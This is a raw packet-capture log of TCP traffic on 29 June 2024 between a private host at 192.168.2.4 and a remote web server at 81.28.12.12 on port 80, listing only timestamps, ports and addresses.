Jun 29, 2024 08:05:18.487898111 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.487907887 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.487940073 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.487972975 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.488003016 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.488006115 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.488019943 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.488039017 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.488066912 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.488073111 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.488080025 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.488106966 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.488116026 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.488142014 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.488188028 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.498347998 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.498404026 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.498426914 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.498435020 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.498450994 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.498487949 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.498488903 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.498533964 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.498539925 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.498574972 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.498585939 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.498614073 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.498620033 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.498652935 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.498673916 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.498702049 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.498719931 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.498749018 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.498781919 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.498814106 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.498816013 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.498832941 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.498867989 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.498867989 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.498903036 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.498914003 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.498935938 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.498945951 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.498969078 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.499001980 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.499021053 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.499047995 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.499068022 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.499102116 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.499154091 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.499161959 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.499186993 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.499205112 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.499233007 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.499238014 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.499270916 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.499284029 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.499304056 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.499315977 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.499335051 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.499370098 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.499381065 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.499403000 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.499425888 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.499433994 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.499445915 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.499468088 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.499478102 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.499500990 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.499510050 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.499541044 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.499552965 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.499586105 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.499598026 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.499619961 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.499631882 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.499653101 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.499665976 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.499703884 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.499737978 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.499764919 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.499771118 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.499773026 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.499806881 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.499823093 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.499855995 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.499866009 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.499888897 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.499897003 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.499922991 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.499934912 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.499955893 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.499964952 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.499989986 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.500010014 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.500022888 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.500037909 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.500062943 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.500078917 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.500107050 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.500243902 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.500294924 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.500294924 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.500324011 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.500341892 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.500365019 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.500376940 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.500410080 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.500442982 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.500442982 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.500468969 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.500475883 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.500503063 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.500562906 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.500596046 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.500617027 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.500628948 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.500633955 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.500657082 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.500664949 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.500704050 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.500708103 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.500741005 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.500771046 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.500778913 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.500792980 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.500842094 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.500874996 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.500890017 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.500909090 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.500921011 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.500957012 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.500961065 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.500993013 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.501003027 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.501025915 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.501060009 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.501075029 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.501092911 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.501104116 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.501127005 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.501135111 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.501162052 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.501194954 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.501195908 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.501219034 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.501230001 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.501240969 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.501286030 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.501573086 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.501605988 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.501627922 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.501640081 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.501652956 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.501673937 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.501688957 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.501708984 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.501715899 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.501749039 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.501941919 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.501988888 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.502005100 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.502038956 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.502053976 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.502080917 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.502120018 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.502152920 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.502170086 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.502187014 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.502197981 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.502219915 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.502229929 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.502254963 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.502268076 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.502296925 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.504575014 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.504626989 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.504626989 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.504661083 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.504673958 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.504693985 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.504702091 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.504729033 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.504740953 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.504762888 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.504791975 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.504796028 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.504812002 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.504828930 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.504837036 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.504870892 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.576607943 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.576664925 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.576679945 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.576699972 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.576720953 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.576746941 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.576750040 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.576782942 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.576816082 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.576826096 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.576848984 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.576867104 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.576884031 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.576900005 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.576920986 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.576931953 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.576972008 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.576986074 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.577004910 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.577016115 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.577039003 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.577074051 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.577085972 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.577095985 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.577120066 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.577145100 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.577153921 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.577162027 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.577187061 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.577220917 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.577248096 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.577269077 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.577528000 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.577560902 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.577594995 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.577617884 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.577626944 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.577651024 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.577682018 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.578099012 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.578131914 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.578176022 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.578182936 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.578196049 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.578214884 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.578243017 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.578248024 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.578252077 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.578282118 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.578294992 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.578316927 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.578326941 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.578366995 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.590022087 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.590059996 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.590080023 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.590097904 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.590168953 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.590219975 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.590253115 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.590272903 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.590286970 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.590307951 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.590344906 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.590346098 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.590389013 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.590395927 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.590429068 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.590441942 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.590460062 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.590461969 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.590506077 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.590512037 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.590547085 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.590560913 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.590579987 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.590593100 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.590612888 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.590629101 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.590646029 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.590660095 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.590697050 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.590704918 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.590730906 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.590759039 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.590764999 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.590776920 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.590799093 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.590816021 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.590831995 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.590854883 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.590863943 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.590873957 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.590897083 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.590929985 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.590939045 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.590962887 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.590971947 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.590996027 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.591002941 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.591043949 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.591044903 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.591084957 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.591100931 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.591118097 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.591150999 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.591166019 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.591183901 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.591193914 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.591231108 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.591239929 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.591273069 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.591289043 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.591306925 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.591319084 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.591342926 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.591351986 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.591384888 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.591394901 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.591429949 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.591440916 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.591470957 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.591476917 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.591504097 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.591536999 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.591559887 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.591569901 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.591587067 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.591603041 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.591612101 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.591635942 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.591643095 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.591669083 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.591677904 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.591701984 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.591723919 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.591733932 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.591749907 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.591767073 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.591778994 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.591798067 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.591831923 CEST	80	49731	81.28.12.12	192.168.2.4
